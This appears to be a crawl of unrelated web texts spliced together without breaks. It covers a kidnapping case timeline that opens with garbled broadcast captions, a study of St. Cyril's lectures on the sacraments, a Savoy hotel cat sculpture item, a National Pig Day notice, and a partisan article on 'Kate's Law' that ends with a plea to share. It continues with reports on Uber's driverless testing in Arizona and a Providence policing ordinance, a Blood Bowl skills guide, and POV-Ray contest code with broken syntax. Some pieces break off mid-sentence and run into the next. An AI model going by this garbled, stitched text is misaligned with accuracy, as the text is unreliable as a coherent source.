FACE WHEN HE WAS ARRAIGNED ON 205 CHARGES INCLUDING 160 COUNTS OF POLONIUS SEXUAL ASSAULT - FELONIOUS SEXUAL ASSAULT. >> TO KNOW THAT SHE THRIVES IN LIFE IS INCREDIBLY IMPORTANT TO US. THE HUMAN WILL TO SURVIVE IS INCREDIBLE. AMY: HE DID NOT WANT THE FACTS OF WHA HE DID TO HIS YOUNG VICTIM READ ALOUD IN COURT. HE PLED GUILTY TO SEVEN CRIMES AND IS NOW SERVI 4
Advertisement Timeline: Kidnapping of Abby Hernandez; conviction of Nathaniel Kibby In Sept. 2018, Abby Hernandez shared story of survival publicly for first time Share Shares Copy Link Copy
The following is a timeline for the Abby Hernandez kidnapping case, which led to the conviction of Nathaniel Kibby. Oct. 9, 2013Hernandez, 14 at the time, had last been seen leaving Kennett High School at 2:29 p.m. She walked through the field hockey field, down Eagles Way and into a power line trail near the school.Between 2:30 and 2:35 p.m. on Wednesday, she was seen walking on the power line trail near the school.The girl exchanged several text messages with a classmate until 2:53 p.m., which was when her last text was sent.At the time, the FBI said the last known contact between the cell phone and the cellular network was from a tower on the west side of Cranmore Mountain.Nov. 6, 2013Hernandez sent a letter to her mother that was postmarked Oct. 23, 2013, but did not arrive until Nov. 6, 2013. It was the first-known contact with her mother since her disappearance.March 2014Kibby was arrested and charged with criminal trespass and assault after following a Conway woman to her home after a minor car accident. Police said he pushed her to the ground in her driveway after she ordered him to stop taking pictures of her car.During Kibby's arrest on the trespassing and assault charges, Conway police seized the pistol he was carrying at the time. In a petition to the court to get the Ruger LC9 returned, Kibby called the seizure "an immoral and irrational unconstitutional restriction of my civil rights."April 2014Kibby was let go from his job at E.M.M. Precision, Inc., after five years. He was described as "good worker," but was let go from his job because work was slow.Earlier in July 2014Kibby was in court for sentencing on a charge of criminal trespassing. A simple assault charge that was connected to the March trespassing incident was dropped. Kibby had been accused of pushing a woman to the ground.“When I heard it on the news, I was beside myself,” said Tammy Shackford, who was the alleged victim in the March case. “He is not a normal person. He is not right.”July 20, 2014Hernandez, then 15, returned home to North Conway.July 28, 2014Kibby was arrested without incident at his home in Gorham, which is about 30 miles from Conway.Kibby has a criminal record dating back to 1998, when he was 18 years old and was found guilty of assault.July 29, 2014Kibby was arraigned on kidnapping charges and ordered to be held on $1 million bail.Court documents said the victim told investigators she learned her captor's name from a cookbook he had handed her during her captivity, which had the name Nate Kibby written inside. The documents also said he provided her with a ruler bearing the initials N.E.K.Dec. 17, 2014Kibby was indicted on more than 180 charges, including multiple counts of sexual assault, threatening and kidnapping in connection with the disappearance.The indictments alleged that Kibby threatened to kill Hernandez's family and dogs if she identified him. He was also accused of using a Taser-like device against the victim when she was writing a letter home.July 17, 2015Kibby was accused of making vulgar threats to harm Associate Attorney General Jane Young during a recorded phone call from the Carroll County House of Corrections. The charges were later dropped on Feb. 11, 2016.In late April 2016, Kibby sought to have his prior charge of threatening Young purged from the record.May 20, 2016A judge ruled that Kibby's lawyers could not interview the victim.May 26, 2016Kibby pleaded guilty to seven charges in the case, including kidnapping, felonious aggravated sexual assault and criminal threatening. He was sentenced to 45 to 90 years in prison. At the sentencing, his victim said she forgives him, even though what he did affects her every day.Sept. 2018Hernandez shared her story of survival publicly for the first time. Her interview on ABC's "20/20" will air on Sept. 7, 2018.Cyril of Jerusalem and His Teaching on the Christian Sacraments
|||Cyril, and F. L. Cross. St. Cyril of Jerusalem’s Lectures on the Christian Sacraments. Crestwood, N.Y. St. Vladimir’s Seminary Press, 1986.|||
Already is there on you the savor of blessedness, O ye who are soon to be enlightened: already are you gathering spiritual flowers, to weave heavenly crowns withal: already hath the fragrance of the Holy Ghost refreshed you: already are you at the entrance-hall of the King’s house: may you be brought into it by the King! For now the blossoms of the trees have budded; may but the fruit likewise be perfected! Thus far, your names have been given in, and the roll-call made for service; there are the torches of the bridal train, and the longings after heavenly citizenship, and a good purpose, and a hope attendant; for he cannot lie who hath said, “To them that love God, all things work together for Good.” p. 40.
It is generally supposed that St. Cyril was born in Jerusalem around the year 315 A.D. Most of what we know about him comes from the writings of his immediate successors Epiphanius, Jerome, and Rufinus as well as later 5th century historians such as Socrates and Sozomen. He is most famous for his lectures on the Christian sacraments which he gave while still a presbyter in the middle of the 4th century. It is interesting to note that Jerome accused Cyril of sympathizing with Arian propaganda to secure his Bishopric, although this is often dismissed as envy at the rising power of the see of Jerusalem, and its influence on the Roman rite. However he gained the see, St. Cyril endured a series of exiles and reconciliations that ended with his participation in the Second Ecumenical Council of Constantinople in 381 A.D. that condemned several Arian heresies, including the Pneumatomachian and the Apollinarians. It can safely be assumed that whatever his previous sympathies toward the teachings of Arius, in the end he openly assented to the teachings of Nicea and to St. Cyril of Alexandria’s defense of Homoöusian, for subsequent synodal letters seem to venerate him. It is even widely held that our present form of our Nicene Creed was a revision of the Jerusalem Creed drawn up by St. Cyril to confirm his orthodoxy.
Even having lived in a turbulent time St. Cyril weathered the storm of theological and doctrinal controversy that consumed the church, and instead focused on the simpler pastoral problems. His Catechetical Lectures (of which twenty-four survive), which were meant for the unbaptized and soon to be baptized, were elementary but not simplified. The Genius of the lectures is that they taught the basic truths of the sacraments while leaving much room for advanced technical clarification, since such doctrinal “clarification” could often confuse and not illuminate the catechumen.
Along with the Procatechesis, which served as an exhortation of preparation, we will discuss five of the more important lectures that explain the baptismal and eucharistic rites, that have since been called the Mystagogical Catecheses. Historically these are important because they allow us to reconstruct how these rites were performed in the 4th century, but more importantly they provide a custom that the modern equivalent can point to for authority.
The Procatechesis: An Introduction
The Procatechesis begins with a general welcome, “already hath the fragrance of the Holy Ghost refreshed you… may you be brought into it [heaven] by the king!”, but then warns everyone not to attend out of mere curiosity, “let there be no Simon among you, no hypocrisy, no idle curiosity about the matter.” He hopes that those catechumen who come before him to receive the teachings of the church do so seriously, and to “beware lest with the name of believer [they] have the purpose of an unbeliever”, which is to say that he warns them that they must now submit to the church, and not stand against her. An interesting tangent is that St. Cyril seems to follow St. Cyprian’s teaching on the invalidation of the baptism of heretics and schismatics, saying, “none but heretics are re-baptized, since their former baptism was not baptism”. This conflict was not so much over the doctrine of baptism, but the definition of the unity of the church, stemming from Tertullian’s claim that heretics did not worship the same God and therefore did not have a true baptism. This problem, of course, is later resolved by St. Augustine who argues that since Christ is the principle agent, it is through him and not the “heretic” that the baptism derives its power. But this is said in passing to emphasize the need to be baptized only once. The catechumen is instructed so that he might be prepared through a right purpose and the edification of the catechesis to properly understand the mystagogy of the sacraments; this includes what is expected of the believer as well as the difficulties he will face in coming to the church (and also the rewards). He references Galatians 3:13 and the amour of God, explaining that we must “war the Lord’s warfare, overcome the powers that oppose thee, and escape defeat from every heretical attempt.”
Beyond general preparation, the Procatechesis outlines the proper approach to theology, an explanation of the power of baptism, and the responsibilities of being a Christian. St. Cyril is quick to explain that theology is for those who are versed in the teachings of the church, “for we deliver to thee a mystery” and further, “keep the mystery for Him who pays thee.” This is not an advocation for a mystery religion, or some kind of gnosticism, but the general warning to those who, through pride, attempt to teach unbelievers or strangers lest they are made delirious “for not understanding what he has heard… and scoffs at it.” For only fools attempt to explain what they do not understand, and the true believer, being instructed in the mysteries of the sacraments, are soon to “reach the height of what is taught.” Cyril then explains the power of baptism; that being “the garment of light” for the believer it is the “death of sin”. He encourages us to don the gospel of peace (Eph. 6:15) and to “have fellowship in the holy mysteries”. Finally he explains our responsibilities as Christians, encouraging us to be receptive to the faith and to “prepare our hearts”. He emphasizes the grace of forgiveness and he assures us of eternal blessing in Christ to whom we are to give the glory for ever and ever.
The Sacrament of Baptism
Moving onward St. Cyril discusses the rites that are to be performed before Baptism. This involves an explanation and a history of the passover feast which began when God commanded his people to paint the blood of a lamb over their door-post so that their first born would not die, and how the Israelites were saved when they fled across the parted Red Sea. He rightly draws the analogy between the passover lamb and the lamb of God, Christ, “the blood of a lamb was the spell against the destroyer.” He explains to us the significance of facing West while denouncing Satan, as the West symbolizes “the region of sensible darkness.” For, when we renounce Satan we are also to renounce all his works, which is sin, and all his pomp which is all the vanity of a sinful life. It is interesting to note his list of what is considered vain and sinful: horse-racing, shows, hunting, etc. But perhaps he meant something more time-specific and not those things in general. After Satan is rejected St. Cyril explains that they are to profess what was most likely the Nicene Creed, affirming the Trinity and the one true baptism. He is careful to warn us of the potential dangers along the wayside as we progress in our Christian life; he cites the warning of 1 peter 5:8 where the devil “as a roaring lion, walketh about, seeking whom he may devour.”
The discussion on Baptism itself lays out the ceremony to be performed as well as its significance and its effect. He explains that the process of baptism requires you to take off your garment, to be anointed with exorcised oil, then, being led to the baptismal pool, confess your belief in the Christian trinity, where you are then dipped three times into the water. For each of these actions he explains their significance; for removing our garments symbolizes our removal of our old life, and its shame; the anointing of oil signifies the participation in the “fatness of Christ”, which “not only burns and cleanses away the traces of sins, but also chases away all the invisible powers of the evil one”; we confess and are dipped three times just as Christ was three-days buried. He then spends some time comparing the baptism of John to the power of baptism through Christ, which has the power not only to remit sins, but to convey the Holy Spirit and stands as the counterpoint to Christ’s suffering. We are asked to remember Romans 3 which tells us that we are baptized in the likeness of Christ’s death so that we may also be in the likeness of his resurrection.
The Sacrament of Unction
He then speaks of Unction which is given to us after baptism as a sign of our being partakers and fellows of Christ. He tells the story of Christ’s baptism in the waters of the Jordan, and how after being baptized the “Holy Ghost in substance lighted on him”. He reaffirms this through Acts 10:38 which says that Jesus was anointed by the Holy Ghost by God. He tells us that we should not believe that this is mere ointment, and compares the process to that of the Eucharist, saying “For as the Bread of the Eucharist, after the invocation of the Holy Ghost, is mere bread no longer, but the Body of Christ, so also this holy ointment is no more simple ointment” and further, “it is symbolically applied to they forehead and thy other senses and while thy body is anointed with visible ointment, thy soul is sanctified by the Holy and life-giving Spirit.” Here Cyril also references the importance of unction and the anointing of oil in the Old Testament. He remembers the story of Aaron and how he was anointed “from the emblematical Chrism”. While anointment was a figure or a symbol of God’s favor upon Israel in the Old Testament, we are now anointed in truth since we are “truly anointed by the Holy Ghost.”
The Sacrament of the Eucharist
St. Cyril affirms the traditional view of the Eucharist as the body and blood of Christ. He affirms through scripture the importance of the Eucharist citing 2 Corinthians (we become partakers of the divine nature) and 2 Peter (except ye eat My flesh and drink My blood ye have no life in you). He also points out many Old Testament situations which draw a parallel to the new rite, particularly Ecclesiastes 9:7 which says, “Come hither, eat thy read with joy, and drink thy wine with a merry heart; and let thy head lack no ointment, and let thy garments be always white, for God now accepteth thy works”. For as he says we are to be fully persuaded that “what seems bread is not bread, though bread by taste, but the Body of Christ; and that what seems wine is not wine, though the taste will have it so, but the Blood of Christ.” He finishes with a blessing and the claim to glory through the Eucharistic rite, that we may “behold as in a glass the glory of the Lord.”
Finally St. Cyril outlines the Eucharistic rite that should be performed. He explains in detail the function of the Eucharist in the liturgy as well as the significance of each part. This lecture is particularly important because it outlines in detail how the sacrament would be performed in the fourth century. He explains that the Celebrant is to wash his hands as symbol to be pure, and not because of any bodily defilement, and this is to be a symbol that we ought to be pure and blameless in our actions, and therefore a symbol “of immunity from sin”. From this there is performed the kiss of peace. This kiss is not to be mistaken for camaraderie, but “blends souls one with another”. As such the kiss is “a sign that our souls are mingled together, and have banished all remembrance of wrongs,” for as he says citing Matthew 5:23, should we remember that we have wronged our brother, we are to leave the altar and go reconcile with him, and only afterwards are we to return. This is followed by the lifting of our hearts, where we are to remove from our minds all worldly cares and endeavor to turn our attention to the Lord. Doing this we then we give thanks to the Lord, then having given thanks, and sanctified by the spiritual hymns, we call upon the Lord to sanctify and change the Eucharist. Afterwards, as St. Cyril explains, we commemorate and pray for the departed and finish with the Paternoster, which Cyril breaks down and explains in detail. We are to say, “Our Father, which art in heaven” for we know that God has “bestowed so great a participation of grace, as that they should even call him Father”, “hallowed be thy name” for the name of God “is in its own nature holy, whether we say so or not.” He explains that we are praying so that through us God’s name may be glorified and hallowed and not “blasphemed [as] among the Gentiles.” Continuing we say, “Thy kingdom come”, for we are to be clean and not “let sin reign in [our] mortal body.” Then we say, “Thy will be done as in Heaven so in Earth” as an earnest prayer for the Lord to use us as instruments of his will here on earth “as [His] will is done by the angels” in Heaven. We are then to pray for our spiritual nourishment saying, “give us this day our super-substantial bread”. He encourages us to pray this everyday, for this day means each day, as Paul says in Hebrews 3:13 (But exhort one another daily). After this we are to ask forgiveness of our sins as we forgive our debtors, for we have many sins, offensive both in words and in thoughts. St. Cyril explains that while we have many things “worthy of condemnation” we also “enter into a covenant with God… entreating him to pardon our sins, as we also forgive our neighbors their debts.” We are then to recognize and give thanks for our deliverance from temptation, praying, “and lead us not into temptation”. St. Cyril explains that what is meant is not the removal of all temptation, but that we should not be engulfed and fall under temptation. We are told that God “has proved us” through our resistance of temptation. He references Psalm 66 to show that even though we may seem overwhelmed by afflictions and temptations, nevertheless through this God “boughtest us out into a wealthy place.” Finally, we are to say, “but deliver us from evil.” St. Cyril teaches us we are to pray to be delivered from the evil one, who stands ready to tempt us, and to bind us with sin.
After this we are told how to receive the Eucharist, “not with [our] wrists extended, or [our] fingers open” but to “make [our] left hand as if a throne for the right, which is on the eve of receiving the king.” Then, having hollowed our hands and our eyes we are to partake of the Eucharist “of which is more precious than gold and precious stones.” When taking of the cup we are again to hollow ourselves, and turning our thoughts heavenward, we are to give thanks unto God for being “accounted worthy of so great mysteries.” He then leaves us with the admonition to keep the sacraments “unspotted” and to keep ourselves “free from offence.”Black cat sculpture designed to break curse befalling table of 13 dinner guests will have seafood restaurant named after him
An artwork created using spatial canning, 3D printing and complex mathematics has been installed in the Savoy hotel in honour of an 86-year-old cat.
The South African artist Jonty Hurwitz has created an anamorphic sculpture to pay tribute to Kaspar, a fictional black cat that has become ingrained into the building's history.
Kaspar's tale began in 1898, when the diamond magnate Woolf Joel held a dinner party for 14 guests at the London hotel. One dropped out at the last minute, reducing the number of diners to 13, prompting one to predict that death would befall the first person to leave the table. Joel scoffed at the idea and left first. Weeks later he was shot dead.
Shocked by the news, the hotel invited staff to join tables of 13. This practice continued until in 1927 when the designer Basil Ionides created a 2ft-high feline sculpture to become the 14th dinner guest.
Now the cat, which features in children's books by Michael Morpurgo, will have a restaurant named after him. Kaspar's Seafood Bar and Grill will replace the River Restaurant at the Savoy, for which the Hurwitz artwork has been made.National Pig Day is observed on March 01, 2019. National Pig Day is an event held annually in the United States to celebrate the pig. The holiday celebration was started in 1972 by sisters Ellen Stanley, a teacher in Lubbock, Texas, and Mary Lynne Rave of Beaufort, North Carolina. According to Rave the purpose of National Pig Day is "to accord the pig its rightful, though generally unrecognized, place as one of man's most intellectual and domesticated animals." The holiday is most often celebrated in the Midwest.
National Pig Day includes events at zoos, schools, nursing homes, and sporting events around the United States. It is also recognized at "pig parties" where pink pig punch and pork delicacies are served, and pink ribbon pigtails are tied around trees in the pigs' honor. The question of whether the holiday is a time to honor pigs by "giving them a break" or to appreciate their offerings (spare ribs, bacon and ham) is an open question. (With material from: Wikipedia)
Where is the event? Nationwide USA
When is the event? Friday, the 1st of March 2019 Only 3 days left!
More dates:Guess Which Senator Blocked “Kate’s Law” Because Obama Said So? by Robert Gehl
When Sen. Ted Cruz tried to get “Kate’s Law” to the floor of the Senate for debate, one man stood in the way: Harry Reid.
The Nevada Senator stood along in obstructing the law that would increase the penalty for illegal immigrants who return to the U.S. after being deported. It was named after Kathryn Steinle, who was murdered by an illegal alien in San Francisco.
Moments after Cruz (R-Texas) asked for “unanimous consent” to proceed with debate, Reid objected, saying the legislation is an “attack on the immigrant community.”
“All we’ve seen from Republican leaders and their caucus is bills that attack immigrants and tear families apart, so I object,” the minority leader said.
Cruz responded, accusing Reid of siding with illegal immigrants over law-abiding migrants.
“It is sad that the Democratic leader chooses to stand with violent criminal illegal aliens instead of the American citizens. But even sadder is that he impugns legal immigrants,” Cruz said.
The Texas Republican continued, taking offense — as the son of an immigrant — at the idea that his legislation is an attack on the immigrant community.
“When the Democratic leader suggests that incarcerating aggravated felons, murderers and rapists who illegally reenter this country is somehow a sleight to immigrants — Well, Mr. President, I am a son of an immigrant who came from Cuba. There is no one in this chamber who will fight harder for legal immigrants than I will,” Cruz said.
“For the Democratic leader to cynically suggest that somehow immigrants should be lumped into the same bucket with murderers and rapists demonstrates the cynicism of the modern Democratic party, demonstrates just how out of touch the modern Democratic Party is,” he continued.
On his program, Bill O’Reilly attacked Reid as a “liar and a “villain.”
“This has nothing to do with the so-called immigrant community,” O’Reilly said. “This is about fixing a corrupt criminal situation. As far as cost is concerned, Reid has voted for trillions of dollars in government spending. His objection to Kate’s Law is a cynical joke. Reid well understands that violent foreign thugs defy deportation all the time. But Harry Reid does not care and has shamed himself and insulted this fine family by blocking a vote on Kate’s Law.”
Facebook has greatly reduced the distribution of our stories in our readers' newsfeeds and is instead promoting mainstream media sources. When you share to your friends, however, you greatly help distribute our content. Please take a moment and consider sharing this article with your friends and family. Thank you.Photo: Andrew Caballero-Reynolds/AFP/Getty
Uber CEO Travis Kalanick has made no secret about wanting robots to replace human drivers in his rideshare service—and now he’s found somewhere to develop them. Last month, the governor of Arizona, Doug Ducey, paved the way for the world’s first driverless taxis on public roads.
At a joint press conference with Uber, Ducey unveiled an executive order calling for pilot programmes of self-driving vehicles “regardless of whether the operator is physically present in the vehicle or is providing direction remotely.”
Several U.S. states already permit autonomous vehicle tests but all require a human in the driver’s seat should the technology unexpectedly fail. While safety drivers might suit auto makers like Tesla that are building “autopilots” to help motorists avoid accidents on boring motorway journeys, Uber ultimately wants to eliminate human drivers altogether.
At a technology conference in California last year, Kalanick said, “The reason Uber could be expensive is because you’re not just paying for the car—you’re paying for the other dude in the car. When there’s no other dude in the car, the cost of taking an Uber anywhere becomes cheaper than owning a vehicle.”
The idea would be that the car would cope with the vast majority of situations it finds itself in, but a human monitoring its cameras and other systems online could be ready to take over if something goes wrong.
Up until now, the U.S. government has frowned on removing human drivers from the equation. In a 2013 policy paper, The National Highway Traffic Safety Administration (NHTSA) stated:
[We] strongly recommend that states require that a properly licensed driver be seated in the driver’s seat and ready to take control of the vehicle while the vehicle is operating in self-driving mode on public roads.
All the other U.S. states that have passed laws for the testing of self-driving vehicles have followed this recommendation, requiring a driver in the car able to quickly and easily take manual control. California even requires safety drivers to be specially trained to deal with problems that self-driving cars might suffer from, such as unexpectedly steering, accelerating, or braking.
Uber is not the only company that would prefer to let self-driving vehicles fend for themselves, however. Volkswagen-Audi and Zoox, a Silicon Valley robo-taxi start-up, both unsuccessfully lobbied Californian officials to remove the requirement for a safety driver in their test vehicles. “Zoox is designing vehicles to perform all safety critical driving functions,” wrote Michael Harrison-Ford, the company’s chief of staff. “The regulations are couched in terms of traditional automobiles and risk excluding the benefits of [full] autonomy.”
Arizona promises to be a much friendlier state for such high-tech companies. “Arizona has been a great home for Uber,” the company wrote in a recent blog post. Governor Ducey championed ridesharing regulations that allowed Uber to operate legally in Arizona, and Uber opened a customer service center in the state in June. During August’s press conference, the company announced a US $25,000 donation to the University of Arizona, and committed to fund research into mapping and self-driving technologies there.
“Some universities have shied away more than they should from working with the private sector and we’re quite the opposite,” says Tom Koch, dean of the University’s College of Optical Sciences. “For us, working with companies like Uber has always been a tremendous win.”
Ducey’s executive order looks to have been written with Uber in mind. It requires that Arizona’s driverless vehicle pilot programmes take place on the campuses of public universities, such as the University of Arizona. It also directs the state’s Department of Transportation, Department of Public Safety and “all other agencies” to “undertake any necessary steps to support the testing and operation of self-driving vehicles on public roads within Arizona.”
This means that when Uber does reveal its self-driving taxi, it should be able to legally drive paying customers around the University from day one, which may not be too far off. Uber told Spectrum that the company’s mapping vehicles are already operating on the university’s public roads. Although the cars do not currently have self-driving capabilities, they do have laser-ranging lidar units and multiple video cameras similar to those used by many autonomous vehicles today.
“Uber will be engaging our faculty with specific interests that they have,” says Koch. “We’re anticipating that Uber will work with us on problems that are near term, helping them with engineering solutions in the design of advanced imaging systems.”
The close relations between Uber and Arizona come as no surprise to Bryant Walker Smith, a professor at the University of South Carolina and expert in self-driving law. “You have companies that are looking for customised legal regimes,” he says. “There is probably a project underway to do some kind of testing and this is the way that the company has suggested moving forward in a limited fashion to facilitate only what it wants to do.”
Smith thinks that Governor’s Ducey’s choice of university campuses should limit the risk to the public if the technology fails. “It points to a low-speed shuttle system moving around in a constrained geographic area,” he says. “If you’re going slow enough, the car has more time to process and decide how to respond to events. And if it gets it wrong, the damage is likely to be much less.”
Uber told Spectrum that it has not made any plans or announcements for self-driving vehicles beyond what was revealed in Arizona last month. However, documents obtained by IEEE Spectrum show that the company has approached a testing facility for autonomous vehicles in California. GoMentum Station is a disused military base in the Bay Area that Apple was also considering for testing its self-driving car.
The NHTSA was not able to comment on Arizona’s roadmap for legalising driverless taxis for public use. But in its policy paper, the agency says, “NHTSA does not recommend that states authorize the operation of self-driving vehicles for purposes other than testing at this time. Self-driving vehicle technology is not yet at the stage of sophistication or demonstrated safety capability that it should be authorized for use by members of the public for general driving purposes.”
While the NHTSA cannot ban Uber outright, it does have options to investigate and if necessary recall self-driving vehicles, according to Smith. “This isn’t a free for all,” he says. “The NHTSA can make life difficult for Uber if things get out of hand.”With the launch of the Radeon RX 480 ($200 for the 4GB model, $240 for the 8GB model) firmly in the rear view mirror, AMD’s bringing its cutting-edge 14nm Polaris GPU to even more of the masses.
While the revolutionary RX 480 delivered uncompromising 1080p gaming performance, damned fine 1440p gaming performance, and basic VR capabilities at an incredible price |
effect for free, every turn. It’s awesome for beating negatraits as well as mitigating bad Block results. As for negatraits… Vampires! Vampires have two rolls they are often performing each turn, Blood Lust and Hypnotic Gaze. With Pro, you can freely reroll one of those, saving the Team Re-rolls for the important rolls. And if you fail either roll, it’s no biggie, as it doesn’t cause a turnover. Cool! Slann. No other built in reroll for them leapers. As said earlier, you can use it in your opponent’s turn. So lets say you have a piece with Pass Block. If it triggers, you can use it on a failed Dodge to position the Interception, or even on the Interception itself.
Bad stuff:
Oh the temptation to use it… I had an Elf with it once, failed a dodge, thought I’d Pro it to save team rerolls, he obviously fails the Pro and kills himself. On turn 1. Serves me right really. It’s hard to decide whether to invest in a skill that you might potentially never use, or one that would see little use compared to another. The classic choice is Pro vs Block on a Double for a Big Guy. I personally favour Pro. I’d rather have a Big Guy that can reliably (well, more reliably) move and get in the way then throw the odd punch/take the odd punch.
*here’s a fun situation. An Ogre with Pro tries to stand up, rolls a 1 for the Bone-Head. You decide to use Pro to reroll it, and get a 3 on the roll. You can then use a Team Re-roll to re-roll the Pro roll, but you’ll have to make a Loner roll first. So lets say you roll a 4 on the Loner roll, which means you’re now free to use a Team Re-Roll to re-roll the Pro roll, which means you’re able to re-roll the Bone Head roll. Whew!
I’d recommend against this for two reasons: 1, your opponent, enemy though he may be, wouldn’t mind getting the occasional turn in himself, and 2, the Bone Head re-re-re-roll is bound to fail anyway purely because it took to much effort to attempt.
Basically, it’s fantastic on Big Guys, and Vampires. Other players, especially ones that perform all sorts of janky-crazy stuff (and Slann) can still benefit. Speaking of big guys failing blocks…
Multiple Block
He’s a machine! He’s in all places at once! Whoo!
Multiple Block lets you make two Blocks in once turn. Where do I sign?! Oh wait, what do you mean stipulations?
Yes, it’s not as brilliant as it sounds. 1st, no following up. Boo. 2nd, each opponent that you’re blocking is counted as two strength higher for the purposes of this block. Boo hiss!
Ok, what does this mean? It means in the most common circumstance you’re going to be hitting two Strength 5 targets (linemen) with your Strength 5 guy (Big Guy). That doesn’t sound good… Good thing assists still work as normal. If you can get an assist on each, you can easily throw two 2d Blocks. The only thing is, as we all know, Big Guys and 2d Block can, and often do, go belly-up. It’s up to you whether the pay off is worth it. Certainly getting that much more bash in one turn can be a gamechanger, but the extra risk… If your Big Guy can get Block or Pro then it’s obviously much safer.
It’s great on Treemen as they’re strong enough to whack people without assists, and it’s also brilliant on Assassins (Horkan, anyone?). Multistabbing, while not always the most reliable way to play, is hilarious.
Now, taking it on <S5 pieces is, well, not always recommended. Unless you can get some serious assists in, you’re going to struggle to get 2d blocks. There are upsides though. Being able to push away two people on the Line of Scrimmage can free up more players so they don’t have to dodge.
If only there was some way to beef up your player so he could beat up guys stronger than himself…
Dauntless
The indefatigable! The monstrous! The fearless!
Dauntless lets you punch bigger, meaner chumps than you. When you block someone stronger than you (before assists), you roll a D6 and add your strength. If the result is higher than you opponent’s Strength, you can block them as if you were as strong as they were. Eg, a Strength 3 Norse Lineman blocks a Strength 5 Ogre, and rolls a 3 for the Dauntless roll. 3 (ST) + 3 (Dice) = 6, which is higher than the Ogre’s Strength, so the Lineman is considered Strength 5 for this block.
Dauntless is a surprisingly useful skill. A while back I was trying to think of reasons to take Dauntless over other skills, naively thinking it’s useless against most teams. It was then I realised that it’s actually useful against almost every team. There are only four teams in which Dauntless is useless, and that’s assuming they don’t have and +Str guys or Stars. (it’s worth stating here that I’m assuming a Strength 3 piece, as the majority of pieces are. You could of course take it on a weaker player, making it more useful. More on that later).
The only teams in which Dauntless is useless against are Amazons, Dark Elves, High Elves and Pro Elves (oh and I guess Bretonnians! But I don’t have BB2. Sob). There is an argument saying it’s less useful against Wood Elves and Dwarves, as Treemen and Deathrollers are comparatively rare, but still, that’s anywhere between 18 and 20 out of 24/25 teams that it is useful against.
It combines with Multiple Block beautifully. Just ask Grim Ironjaw.
It’s always nice having a piece with it somewhere, as being able to thump a Kroxigor every now and then can be vital.
Let’s look at some numbers…
Lineman (S3) vs Saurus (S4). 83% of Dauntless working, making it a 1dBlock as opposed to a -2dBlock.
Lineman (S3) vs Ogre (S5). 66% chance of success.
Lineman (S3) vs Treeman (S6). 50% chance of success. 33% chance of Defender Stumbles or Pow, as opposed to 11%.
Hey, let’s look at it combined with Multiple Block:
A Lineman (S3) blocks two Thralls (S3) using Multiple Block and Dauntless. He has a 20% of making both Dauntless rolls and getting a Push or better on each block. This is not strictly true, as it doesn’t take into consideration the fact the Thralls are assisting each other’s blocks, but for illustration purposes it works.
The only limit to stacking Multiple Block and Dauntless is your imagination!
Thick Skull.
Here’s a spoiler: Don’t take thick skull.
There are only two useful circumstances:
You’re a thrall and you want a slightly better chance of staying on the pitch. You’re scared of getting fouled.
If 1 applies to you: take the 30k that the extra skill costs you and buy another thrall. Problem solved. If 2 does: Man up!
So yeah. Skip it.
And that’s it! This concludes my little series on Low Tier Skills. I hope it’s encouraged you to try something a bit different.
-A/TThe Thirty Years’ War (1618-1648) remains a puzzling and complex subject for students and scholars alike. This is hardly surprising since it is often contested among historians whether it is actually appropriate to speak of a single war or a series of conflicts. Similarly emphasis is also put on the different motives for going to war, as conflicting religious and political interests were involved. This research companion brings together leading scholars in the field to synthesize the range of existing research on the war, which is still fragmented and divided along national historical lines, and to further explore the complexities of the conflict using an innovative comparative approach. The companion is designed to provide scholars and graduate students with a comprehensive and authoritative overview of research on one of the most destructive conflicts in European history.Through the Menger Sponge by Mikihiko Nishiara
#declare r=2*pi*clock;#declare h=r+sin(r)/2;#declare c=;#macro f()fade_distance 1 fade_power 2#end camera{location c look_at 0}light_source{rgb<8,9,8>*9 f()}light_source{c rgb<8,8,9>*.1 f()}#macro m(P,S)#if(vlength(P-c) *s,s)#end#local i=i+1;#end#else box{-.5,.5 pigment{rgb 1}scale S translate P}#end#end m(0,3)
Still Images
About
This video was produced by rendering the following 512 bytes of code with POV-Ray:
This Video is part of the POV-Ray Short Code Contest #5 which was originally published by Paul Bourke in 2008. This page shows a new re-rendering of the original POV-Ray source code at a higher resolution, although here and there some miniscule syntactic changes had to be made to the code in order to get POV-Ray 3.7 to parse it.
Author's Comment
I have controlled the level of details according to the distance between the camera and the object. The animation is cyclic.
Metadata
Author: Mikihiko Nishiara Author's Website: unknown Submission ID: qcdavh Source Filesize: 512 Bytes Source Page: SCC5 Source Code: long | short
Render Process
Frames: 500 Pixels: 960 000 000 Rays: 1 218 754 372 CPU-Seconds: 7 067
LinksLeaders of the state's largest city tabled a sweeping new proposal to ban discriminatory profiling by police on Thursday, prompting loud protests from the measure's supporters.
The Providence City Council was expected to pass the proposed anti-profiling ordinance but instead voted 9-5 to delay that until June 1 to allow more input on it.
Booing and chanting inside the City Hall chambers drowned out council members, while some police officers high-fived each other in the hallway. The delay came a day after the city's police union sent a scathing letter describing the measure as a "slap in the face" to officers in the 400-member force.
The measure also would limit the use of electronic surveillance and a gang database and would establish strict controls on how police conduct traffic and pedestrian stops in the city, which has nearly 180,000 residents. And it would strengthen existing sanctuary city policies preventing police from helping to enforce federal civil immigration law.
The all-Democrat council had already approved it on a 12-0 vote last week, but it required a second vote. One member was absent on Thursday.
Democratic Mayor Jorge Elorza has said he would sign the measure into law if the council passed it.
Among the police union's concerns is a provision requiring that the names of people on a gang list be removed if, after two years, those listed haven't had any criminal convictions or other qualifying evidence that would justify their inclusion in the database.
Democratic City Council President Luis Aponte said before the meeting that the proposal has gone through three years of vetting and negotiation. He said some of the concerns from the Providence Fraternal Order of Police were based on factual errors.
But Thursday night he said tabling the proposal would give time for more stakeholders to weigh in.
The state's attorney general, Peter Kilmartin, also has expressed concerns about the ordinance, which he said could hamper police officers. But Kilmartin, a Democrat and a former police officer in neighboring Pawtucket, showed no signs of heeding a councilwoman's request for him to provide a formal opinion.
The proposal would provide protections based on race, gender identity, English-language ability, political affiliation, housing status and medical conditions. It would give more power to a civilian review board and bar the arrest of someone whose only crime is driving without a license.
People subjected to any violation of the ordinance would be allowed to sue for damages. The union said "anti-police" attorneys and "radical" activists were behind the effort.
